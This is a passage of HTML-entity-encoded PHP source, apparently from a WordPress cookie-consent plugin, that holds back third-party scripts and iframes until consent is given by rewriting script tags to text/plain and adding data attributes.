								$new = $this-&gt;add_data( $new, &#039;script&#039;, &#039;waitfor&#039;, $waitfor );
							}

							$output = str_replace( $total_match, $new, $output );
						}
					}

					// when script contains src
					$script_src_pattern = &#039;/&lt;script[^&gt;]*?src=[\&#039;&quot;]&#039; . $url_pattern . &#039;[\&#039;&quot;].*?&gt;/is&#039;;
					if ( preg_match_all( $script_src_pattern, $total_match, $src_matches, PREG_PATTERN_ORDER ) ) {
						foreach ( $src_matches[1] as $src_key =&gt; $script_src ) {
							$script_src = $src_matches[1][ $src_key ];
							$found      = cmplz_strpos_arr( $script_src, array_keys( $blocked_scripts ) );
							if ( $found !== false ) {
								$match        = $blocked_scripts[ $found ];
								$new          = $total_match;
								$service_name = $this-&gt;sanitize_service_name( $match[&#039;name&#039;] );
								$category     = apply_filters_deprecated( &#039;cmplz_script_class&#039;, array( $match[&#039;category&#039;], $total_match, $found ), &#039;6.0.0&#039;, &#039;cmplz_service_category&#039;, &#039;The cmplz_script_class filter has been deprecated since 6.0&#039; );
								$new          = $this-&gt;add_data( $new, &#039;script&#039;, &#039;category&#039;, apply_filters( &#039;cmplz_service_category&#039;, $category, $total_match, $found ) );
								$new          = $this-&gt;add_data( $new, &#039;script&#039;, &#039;service&#039;, $service_name );
								// native scripts don&#039;t have to be blocked
								if ( strpos( $new, &#039;data-category=&quot;functional&quot;&#039; ) === false
								) {
									$new = $this-&gt;set_javascript_to_plain( $new );
									$new = str_replace( &#039;src=&#039;, &#039;data-cmplz-src=&#039;, $new );

									if ( cmplz_strpos_arr( $found, $post_scribe_list )
									) {
										// will be to late for the first page load, but will enable post scribe on next page load
										if ( ! get_option( &#039;cmplz_post_scribe_required&#039; ) ) {
											update_option( &#039;cmplz_post_scribe_required&#039;, true );
										}
										++$index;
										$new  = $this-&gt;add_data( $new, &#039;script&#039;, &#039;post_scribe_id&#039;, &#039;cmplz-ps-&#039; . $index );
										$new .= &#039;&lt;div class=&quot;cmplz-blocked-content-container&quot;&gt;&#039;
												. COMPLIANZ::$cookie_blocker-&gt;blocked_content_text()
												. &#039;&lt;div id=&quot;cmplz-ps-&#039; . $index . &#039;&quot;&gt;&lt;img src=&quot;&#039; . cmplz_placeholder( &#039;div&#039; ) . &#039;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;;

									}

									// maybe add dependency
									$waitfor = cmplz_strpos_arr( $script_src, $dependencies );
									if ( $waitfor !== false ) {
										$new = $this-&gt;add_data( $new, &#039;script&#039;, &#039;waitfor&#039;, $waitfor );
									}
								}

								$output = str_replace( $total_match, $new, $output );
							}
						}
					}
				}
			}

			// add a marker so we can recognize if this function is active on the front-end
			$id = 1;
			if ( cmplz_get_option( &#039;consent_per_service&#039; ) === &#039;yes&#039; ) {
				$id = 2;
			}
			$output = str_replace( &#039;&lt;body &#039;, &quot;&lt;body data-cmplz=$id &quot;, $output );

			return apply_filters( &#039;cmplz_cookie_blocker_output&#039;, $output );
		}

		/**
		 * Set the javascript attribute of a script element to plain
		 *
		 * @param string $script
		 *
		 * @return string
		 */
		private function set_javascript_to_plain( string $script ): string {
			// check if it&#039;s already set to plain
			if ( strpos( $script, &#039;text/plain&#039; ) !== false ) {
				return $script;
			}

			// Check text/javascript
			$pattern = &#039;/&lt;script[^&gt;].*?\K(type=[\&#039;|\&quot;]text\/javascript[\&#039;|\&quot;])(?=.*&gt;)/i&#039;;
			preg_match( $pattern, $script, $matches );
			if ( $matches ) {
				return preg_replace( $pattern, &#039;type=&quot;text/plain&quot;&#039;, $script, 1 );
			}

			// Check type=&quot;module&quot;
			$pattern_module = &#039;/(&lt;script[^&gt;]*?)(type=[\&#039;|\&quot;]module[\&#039;|\&quot;])([^&gt;]*?&gt;)/i&#039;;
			preg_match( $pattern_module, $script, $matches_module );
			if ( $matches_module ) {
				return preg_replace( $pattern_module, &#039;$1 type=&quot;text/plain&quot; data-script-type=&quot;module&quot; $3&#039;, $script, 1 );
			}

			$pos = strpos( $script, &#039;&lt;script&#039; );
			if ( $pos !== false ) {
				return substr_replace( $script, &#039;&lt;script type=&quot;text/plain&quot;&#039;, $pos, strlen( &#039;&lt;script&#039; ) );
			}

			return $script;
		}

		/**
		 * replace the src attribute with a placeholder of choice
		 *
		 * @param string $script
		 * @param string $new_src
		 *
		 * @return string
		 */
		private function replace_src( $script, $new_src ) {

			$pattern = &#039;/src=[\&#039;&quot;](http:\/\/|https:\/\/|\/\/)([\s\wêëèéēėęàáâæãåāäöôòóœøüÄÖÜß.,@!?^=%&amp;:\/~+#-;]*[\w@!?^=%&amp;\/~+#-;]?)[\&#039;&quot;]/i&#039;;
			$new_src = &#039; src=&quot;&#039; . $new_src . &#039;&quot; &#039;;
			preg_match( $pattern, $script, $matches );
			$script = preg_replace( $pattern, $new_src, $script );

			return $script;
		}

		/**
		 * replace the href attribute with a data-href attribute
		 *
		 * @param string $link
		 *
		 * @return string
		 */
		private function replace_href( $link ) {
			return str_replace( &#039;href=&#039;, &#039;data-href=&#039;, $link );
		}

		/**
		 * Add a class to an HTML element
		 *
		 * @param string $html
		 * @param string $el
		 * @param string $class
		 *
		 * @return string
		 */
		public function add_class( $html, $el, $class ) {
			$classes = array_filter( explode( &#039; &#039;, $class ) );
			preg_match( &#039;/&lt;&#039; . preg_quote( $el, &#039;/&#039; ) . &#039;[^\&gt;]*[^\&gt;\S]+\K(class=&quot;)(.*)&quot;/i&#039;, $html, $matches );
			if ( $matches ) {
				foreach ( $classes as $class ) {
					// check if class is already added
					if ( strpos( $matches[2], $class ) === false &amp;&amp; strlen( trim( $class ) ) &gt; 0 ) {
						$html = preg_replace( &#039;/&lt;&#039; . preg_quote( $el, &#039;/&#039; ) . &#039;[^\&gt;]*[^\&gt;\S]+\K(class=&quot;)/i&#039;, &#039;class=&quot;&#039; . esc_attr( $class ) . &#039; &#039;, $html, 1 );
					}
				}
			} else {
				$pos = strpos( $html, &quot;&lt;$el&quot; );
				if ( $pos !== false ) {
					$html = substr_replace(
						$html,
						&#039;&lt;&#039; . $el . &#039; class=&quot;&#039; . esc_attr( $class ) . &#039;&quot;&#039;,
						$pos,
						strlen( &quot;&lt;$el&quot; )
					);
				}
			}

			return $html;
		}

		/**
		 * Add a data attribute to an html element
		 *
		 * @param string $html
		 * @param string $el
		 * @param string $id
		 * @param string $content
		 *
		 * @return string $html
		 */
		public function add_data( $html, $el, $id, $content ) {
			$content = esc_attr( $content );
			$id      = esc_attr( $id );
			$pattern = &#039;/&lt;&#039; . preg_quote( $el, &#039;/&#039; ) . &#039;[^&gt;].*?\K(data-&#039; . preg_quote( $id, &#039;/&#039; ) . &#039;=[\&#039;|\&quot;]&#039; . preg_quote( $content, &#039;/&#039; ) . &#039;[\&#039;|\&quot;])(?=.*&gt;)/i&#039;;
			preg_match( $pattern, $html, $matches );
			if ( ! $matches ) {
				$pos = strpos( $html, &quot;&lt;$el&quot; );
				if ( $pos !== false ) {
					$html = substr_replace( $html, &#039;&lt;&#039; . $el . &#039; data-&#039; . $id . &#039;=&quot;&#039; . $content . &#039;&quot;&#039;, $pos, strlen( &quot;&lt;$el&quot; ) );
				}
			}

			return $html;
		}

		/**
		 * Check if this iframe source is a video
		 *
		 * @param $iframe_src
		 *
		 * @return bool
		 */
		private function is_video( $iframe_src ) {
			if ( strpos( $iframe_src, &#039;dailymotion&#039; ) !== false
				|| strpos( $iframe_src, &#039;youtube&#039; ) !== false
				|| strpos( $iframe_src, &#039;vimeo&#039; ) !== false
			) {
				return true;
			}

			return false;
		}

		/**
		 * Check if this iframe source is soundcloud
		 *
		 * @param $iframe_src
		 *
		 * @return bool
		 */
		private function no_div( $iframe_src ) {
			if ( strpos( $iframe_src, &#039;soundcloud&#039; ) !== false ) {
				return true;
			}

			return false;
		}
	}
}
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